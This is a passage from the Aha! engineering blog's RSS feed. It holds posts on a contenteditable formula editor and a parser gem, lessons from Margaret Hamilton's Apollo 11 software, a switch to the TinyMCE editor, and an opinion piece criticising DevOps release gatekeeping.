&lt;p&gt;When have you been burned by a performance problem caused by a naive abstraction? Join the discussion on &lt;a href=&quot;https://news.ycombinator.com/item?id=9787827&quot;&gt;Hacker News&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Making Magic with contenteditable="true"]]></title><description><![CDATA[I love this team. I love the product and engineering team at Aha! because we believe in objectively prioritizing work. To truly build what…]]></description><link>https://www.aha.io/engineering/articles/making-magic-contenteditable-true</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/making-magic-contenteditable-true</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Fri, 19 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I love this team. I love the product and engineering team at Aha! because we believe in objectively prioritizing work. To truly build what matters, you must identify which feature requests will help you achieve your goal and which ones will waste your time. Most ideas sound great but actually matter little.&lt;/p&gt;
&lt;p&gt;The challenge for all product developments teams is humans.&lt;/p&gt;
&lt;p&gt;The human factor involved in leading product complicates decision making. People develop their own pet projects, and it becomes tougher to prioritize without stepping on toes.&lt;/p&gt;
&lt;p&gt;To alleviate this problem, we developed the &lt;a href=&quot;/blog/better-feature-prioritization-with-advanced-aha-scores&quot;&gt;Aha! Score&lt;/a&gt; — a means of removing some of the subjectivity from feature prioritization. The Aha! Score allows product managers to develop a formula for scoring their feature and then use sliders to score each metric for each feature. The resulting score introduces high-level business value and removes some of the subjective, human component from the prioritization process.&lt;/p&gt;
&lt;p&gt;To make scorecards as useful as possible, we wanted to support arbitrarily complex formulas. This ensures that our technical implementation is never a constraint on customer success. We also wanted to develop a rich editing experience for managers to use when defining and testing their formulas.&lt;/p&gt;
&lt;p&gt;In addition, we wanted to ensure that calculated results are always technically and mathematically accurate. To solve these problems, we developed two core components which we later open-sourced as gems: &lt;a href=&quot;https://github.com/aha-app/token-text-area&quot;&gt;token-text-area&lt;/a&gt; and &lt;a href=&quot;https://github.com/schneidmaster/eqn&quot;&gt;eqn&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;token-text-area&lt;/h2&gt;
&lt;p&gt;The first gem, token-text-area, is focused around the rich editing experience. This is where the title of this post comes into play: we wanted a way for users to insert metrics and mathematical symbols and numbers into the same equation, while still making it clear which components belong where. To solve the problem, we used a contenteditable div as the equation field, allowing it to contain both “tokens” (spans representing a particular metric) and numbers/math symbols.&lt;/p&gt;
&lt;p&gt;As you can see in the screenshot, this allows for a rich editing experience in which the user can quickly develop complex formulas based on how each metric affects their business process. To insert the tokens, we provided autocomplete support. The user simply has to begin typing the name of a metric; once they do, a popup menu suggests tokens to insert.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/de115a94338172944d2d592cc1aeec29/advanced-equations-contenteditable-aha.png&quot; alt=&quot;Advanced equation editor in Aha!&quot;&gt;&lt;/p&gt;
&lt;p&gt;The hardest part of this implementation step was developing consistent cross-browser behavior in contenteditable divs. For example, Chrome will not blink the cursor in a contenteditable div that is focused but does not contain any text, while Internet Explorer displays odd behavior with mouse click bindings.&lt;/p&gt;
&lt;p&gt;We decided to &lt;a href=&quot;https://github.com/aha-app/token-text-area&quot;&gt;open source&lt;/a&gt; our solution to smooth the path for others solving similar problems in the future.&lt;/p&gt;
&lt;h2&gt;eqn&lt;/h2&gt;
&lt;p&gt;Finally, we had to develop a means of calculating equation results (including metrics, numbers, and basic functions) while respecting order of operations. We rejected use of Ruby’s eval for security reasons; users could theoretically enter arbitrary text into the equation field, and proper sanitization is a tough problem with many corner cases.&lt;/p&gt;
&lt;p&gt;We developed our own mathematical parser using the &lt;a href=&quot;http://treetop.rubyforge.org/&quot;&gt;Treetop&lt;/a&gt; parser generator; the result was the &lt;a href=&quot;https://github.com/schneidmaster/eqn&quot;&gt;eqn&lt;/a&gt; gem. We selected a parser generator for its stability and predictability; trying to roll your own lexer/parser solution typically results in many corner cases and difficult-to-trace bugs. As an added benefit, the generator rejects anything outside of the explicitly defined grammar, and doesn’t require us to make use of eval; malformed equations simply throw an easily handled exception.&lt;/p&gt;
&lt;p&gt;At Aha! we do our best to help our customers prioritize their features and focus on building what will have the biggest impact. Equally, we believe in giving back to the developer community through open-sourcing components of our code.&lt;/p&gt;
&lt;p&gt;We are always hiring exceptional Rails and CoffeeScript engineers; check out our &lt;a href=&quot;/company/careers&quot;&gt;careers page&lt;/a&gt; if you’re interested in joining a fast-growing company that continues to stretch the limits of what technology can do.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[3 Lessons From the Hacker Who Saved Apollo 11]]></title><description><![CDATA[I have been fascinated by rockets since I was young. As I get older, my appreciation has only grown for the amazing amount of engineering…]]></description><link>https://www.aha.io/engineering/articles/3-lessons-hacker-saved-apollo-11</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/3-lessons-hacker-saved-apollo-11</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Sun, 07 Jun 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I have been fascinated by rockets since I was young. As I get older, my appreciation has only grown for the amazing amount of engineering that goes into those majestic machines.&lt;/p&gt;
&lt;p&gt;I would like to share with you some insights from one of my personal heroines: Margaret Hamilton, the hacker who saved Apollo 11. Here is a letter she wrote detailing how Neil Armstrong’s Eagle almost did not land on the moon — and how the design decisions she made saved the mission:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Due to an error in the checklist manual, the rendezvous radar switch was placed in the wrong position. This caused it to send erroneous signals to the computer. The result was that the computer was being asked to perform all of its normal functions for landing while receiving an extra load of spurious data which used up 15% of its time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The computer (or rather the software in it) was smart enough to recognize that it was being asked to perform more tasks than it should be performing. It then sent out an alarm, which meant to the astronaut, I am overloaded with more tasks than I should be doing at this time and I am going to keep only the more important tasks; i.e. the ones needed for landing. Actually, the computer was programmed to do more than recognize error conditions.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;A complete set of recovery programs was incorporated into the software. The software’s action, in this case, was to eliminate lower priority tasks and re-establish the more important ones … If the computer had not recognized this problem and taken recovery action, I doubt if Apollo 11 would have been the successful moon landing it was.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;—Margaret Hamilton, Director of Apollo Flight Computer Programming MIT Draper Laboratory, Cambridge, Massachusetts, “Computer Got Loaded”, Letter to &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Datamation&quot;&gt;Datamation&lt;/a&gt;&lt;/em&gt;, March 1, 1971&lt;/p&gt;
&lt;p&gt;3 key takeaways from this story are instructive for software developers today:&lt;/p&gt;
&lt;h2&gt;Assume that things will break&lt;/h2&gt;
&lt;p&gt;You must plan for error conditions — especially in a developer role. You do not need to get pedantic about finding ways that things could break. But you do need to ensure that your application does something sensible during an error condition. Sometimes, it is okay for this to be a custom 500 page thrown to the user!&lt;/p&gt;
&lt;p&gt;What you do NOT want is for the user to assume that everything is okay and have the system fail silently without their knowledge. This leads to data loss, frustration, and support tickets. This is a major drawback of many recent single-page-applications: if the client cannot reach the API, the client can continue for some time before the user picks up on the fact that something is wrong. In addition, a crucial component of handling errors is the post-mortem process afterwards. One of the best ways to save yourself from headache in those situations is to ensure that you are logging enough data to debug problems after they have happened.&lt;/p&gt;
&lt;h2&gt;Build in recovery and maintenance tools&lt;/h2&gt;
&lt;p&gt;While reading the story above, did you notice that the flight computer had programs to fix itself? Lines of business applications do not usually need this sort of error correction outside of good database constraints. But it is a good idea to define what “normal” is for your applications, and write some cron jobs or recurring tasks in your background job solution (Sidekiq, Resque) to check that everything looks good. The more critical your process — and the higher your costs of deviance — the more crucial it is that you catch deviant behavior early.&lt;/p&gt;
&lt;p&gt;To fix anything that might have gone awry, a robust administration portal is essential. It helps you keep tabs on what is going on in your application. More importantly, it allows other teams within your organization to contribute to troubleshooting and error correction efforts.&lt;/p&gt;
&lt;p&gt;In the Ruby on Rails world, &lt;a href=&quot;https://activeadmin.info/&quot;&gt;Active Admin&lt;/a&gt; is the de-facto standard for creating these sort of interfaces. It is a very powerful tool, which is why it helps to extend its capabilities using custom partials as quickly as possible. The alternative — that you develop rake tasks for recovery or maintenance tasks — prevents re-use and subjects those important pieces of code to bit-rot. This can leave them rusty and out of step with the rest of the application when you need them most.&lt;/p&gt;
&lt;h2&gt;Keep the human in the loop&lt;/h2&gt;
&lt;p&gt;One of the most striking things to me in the story above is that the Eagle Lander raised some errors, even while attempting to continue on its own. When you have two well-trained pilots in the craft, you want all the expertise that they can give you. The same is true of your development and customer success teams – if you have hired well, you should have teams full of very well-trained and well-equipped people who can make better decisions than you can economically code.&lt;/p&gt;
&lt;p&gt;I think many developers underestimate the intelligence of their customers. For that reason, developers do not tend to give enough attention to crafting error messages that let customers know what went wrong and how to fix it.&lt;/p&gt;
&lt;p&gt;Just like investing in your administration portal is important, investing in error and notice communications to your customers is critical to reducing support overhead as your team scales. The end result is that you create empowered customers who have a sense of ownership over the application — which means they will be your best advocates in the future.&lt;/p&gt;
&lt;p&gt;Margaret Hamilton did all of the above in the 70s, in assembly language, before any best practices for software engineering had been formalized — she even had to coin the term “software engineering!”&lt;/p&gt;
&lt;p&gt;If the last 50 years have taught us anything about software development, it is that precious few endeavors work correctly on the first try. Even fewer keep working correctly in the future.&lt;/p&gt;
&lt;p&gt;It benefits all of us to plan for and mitigate failure before it occurs.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[State of the Art in WYSIWYG HTML Editors]]></title><description><![CDATA[Aha! editor A common feature request from Aha! users was the ability to include images and tables inline with feature descriptions. A year…]]></description><link>https://www.aha.io/engineering/articles/state-art-wysiwyg-html-editors</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/state-art-wysiwyg-html-editors</guid><dc:creator><![CDATA[Chris Waters]]></dc:creator><pubDate>Mon, 15 Dec 2014 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;/bf84095524a1a77c2d25dd12171eb9c5/aha-state-of-the-art-editor.png&quot; alt=&quot;Aha! editor&quot;&gt;&lt;/p&gt;
&lt;p&gt;A common feature request from Aha! users was the ability to include images and tables inline with feature descriptions. A year or so ago we embarked on a project to improve our editor with a more feature rich experience.&lt;/p&gt;
&lt;p&gt;When we originally chose an editor for Aha! we selected Ning’s wysihtml5 because it had a nice balance of functionality with a relatively simple and easy to follow code-base.&lt;/p&gt;
&lt;p&gt;At the time it was a good choice for us because it was easy to integrate and most importantly had excellent support for inline-editing.&lt;/p&gt;
&lt;p&gt;A key aspect of the editing experience in Aha! which is product roadmap software is that you can immediately start editing text inline, without needing to click an “edit” button or wait for the editor to load.&lt;/p&gt;
&lt;p&gt;This makes editing quick and easy, but it does require that the editor code can work directly with &lt;code&gt;&amp;#x3C;div&gt;&lt;/code&gt;s that are marked with the contenteditable attribute.&lt;/p&gt;
&lt;p&gt;Over time we found a few small problems with wysihtml5 that we were not able to fix: (1) weird text combinations that prevented editing, (2) clunky editing of links, (3) no cross-browser support for inline images. So we embarked on a search for a replacement.&lt;/p&gt;
&lt;p&gt;After experimenting with many of the available editors we settled on tinymce.&lt;/p&gt;
&lt;p&gt;We chose it because it has excellent cross-browser support, including inline images, because of its elegant table editor, and because we could be confident that because of the large existing user and developer base that there would continue to be improvements in the future.&lt;/p&gt;
&lt;p&gt;Although tinymce has an inline mode, getting it to work satisfactorily for us turned out to be a much bigger undertaking than we expected. We are fussy about how a toolbar should behave when the screen is small, when it is resized and how it should behave during scrolling. Getting the right result required weeks of fine tuning, but we are very pleased with the result.&lt;/p&gt;
&lt;p&gt;You probably now understand why we are excited to roll out the new text editor and start using it ourselves. Tell us about what you have learned about working with text editors.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=8753938&quot;&gt;Comments on Hacker News&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why Does DevOps Think They Are the TSA?]]></title><description><![CDATA[So you are the DevOps Manager — gatekeeper of everything good — and the go-to-guy for smart code running on big iron. You help keep…]]></description><link>https://www.aha.io/engineering/articles/why-does-devops-think-tsa</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/why-does-devops-think-tsa</guid><dc:creator><![CDATA[Chris Waters]]></dc:creator><pubDate>Mon, 28 Oct 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;So you are the DevOps Manager — gatekeeper of everything good — and the go-to-guy for smart code running on big iron. You help keep engineering from releasing the miserable code that QA was not able to sniff out. You see the big data center picture and can techno-babble with the best architect around.&lt;/p&gt;
&lt;p&gt;Your brain is evenly split between “risk management” and “time-to-market” and you know when to be where. You are the great protector of uptime. Your glance scares junior engineers back to their cubes, you are immune to false-positives, and you have more dead pagers than Blackberry has unwanted phones.&lt;/p&gt;
&lt;p&gt;You are the DevOps Manager. But why are you acting like the TSA?&lt;/p&gt;
&lt;p&gt;The intersection between engineering and operations is where the code hits the wild. It is where strategy and market leadership becomes a reality for software companies. And great Operations management is usually the difference between a mediocre customer experience and delight. While nobody would miss DevOps if it disappeared in the short-term, ensuring that sophisticated software is performing well (forever) is what superstar DevOps folks do in market leading companies.&lt;/p&gt;
&lt;p&gt;Unfortunately, while listening to product and engineering groups discuss their challenges at my new company Aha! I have recently noticed a disturbing trend. DevOps groups are behaving badly and it has led me to reflect on the mindset of some of the teams that I have worked with. Because DevOps teams are often blamed for poor releases, they have developed a debilitating first order assumption that drives everything they do. The new religion that has likely turned your Devops group and many others like it into the TSA of business is:&lt;/p&gt;
&lt;p&gt;DevOps believes that every engineer is a bad player destined to release poor code that will hurt people.&lt;/p&gt;
&lt;p&gt;This assumption leads DevOps to go terrible wrong. If you believe that everyone is a threat with malicious intent or is simply unaccountable for their actions, you erect gates and more gates and “predictive” tools to dissuade engineers from releasing code. And you set up contingency plans and defensive fallback procedures if your gates happen to let the bad guy through.&lt;/p&gt;
&lt;p&gt;But these gates have the opposite effect — in every way, these safeguards lead to higher risk. They do not ensure higher quality releases and are guaranteed to lead to customer dissatisfaction for the following reasons.&lt;/p&gt;
&lt;h2&gt;More code&lt;/h2&gt;
&lt;p&gt;The longer the team goes between releasing code, the more code is going to be released. It is that simple. Even if your team does not work all that quickly, they get paid to write code and some likely gets written every day. And the more code there is, the higher the likelihood that something is going to go wrong when it does get released.&lt;/p&gt;
&lt;h2&gt;Stale engineers&lt;/h2&gt;
&lt;p&gt;Writing code takes real focus and attention to deal. This is why it is difficult to context-switch when writing code and the more dynamic the feature or difficult the bug, the harder it is to multi-task. If there are long delays between writing code and releasing it, there are start-up costs in terms of how long it will take a developer to get back into the mindset that she was in when she originally wrote the code. There are just too many dependencies and trade-offs that are carefully considered when writing code to keep them all in mind once you have moved on to the next challenge. So, when bad code does happen, it takes longer to figure out why and fix it.&lt;/p&gt;
&lt;h2&gt;Frustrated customers&lt;/h2&gt;
&lt;p&gt;Do customers believe that your software will always be perfect? No. But do they expect you to pay attention to them and fix a problem quickly? You bet. So, if longer release cycles do not increase the quality of software (and actually increase the likelihood of problems) and customers understand that gremlins do happen, the goal should be to release more often and fix problems faster. When a problem does occur, the customer will be intent on helping you fix it, but the longer you go between releases to fix it, the less the customer will remember or be able to verify that it is resolved.&lt;/p&gt;
&lt;p&gt;So, how should DevOps proceed in a world of software uncertainty?&lt;/p&gt;
&lt;p&gt;Operations teams should stop trying to be the corporate TSA by “gating” engineers and product teams to a standstill. The goal of eliminating problems should be replaced with taking reasonable risks.&lt;/p&gt;
&lt;p&gt;Rather than instilling fear and forcing costly efforts to plan for every contingency and ways to “back out,” they should look ahead just like the rest of the organization. Engineers want to deliver great code and delight customers and will go out of their way to take responsibility for issues if they have been empowered to fix them. At the end of the day, a business needs to keep moving forward and too many DevOps groups today are looking towards the past and disabling groups from building what matters.&lt;/p&gt;
&lt;p&gt;If you are looking to create brilliant product strategy and roadmaps to release often with confidence, Aha! is for you. &lt;a href=&quot;/trial&quot;&gt;Sign up for a free trial&lt;/a&gt; to see why the top software and web companies are now using Aha! for product management and roadmapping.&lt;/p&gt;
&lt;p&gt;I am the co-founder and CTO of Aha! and have worked with some terrific DevOps folks over the years. Special shout-outs to Ted and Bill for getting it right.&lt;/p&gt;</content:encoded></item></channel></rss>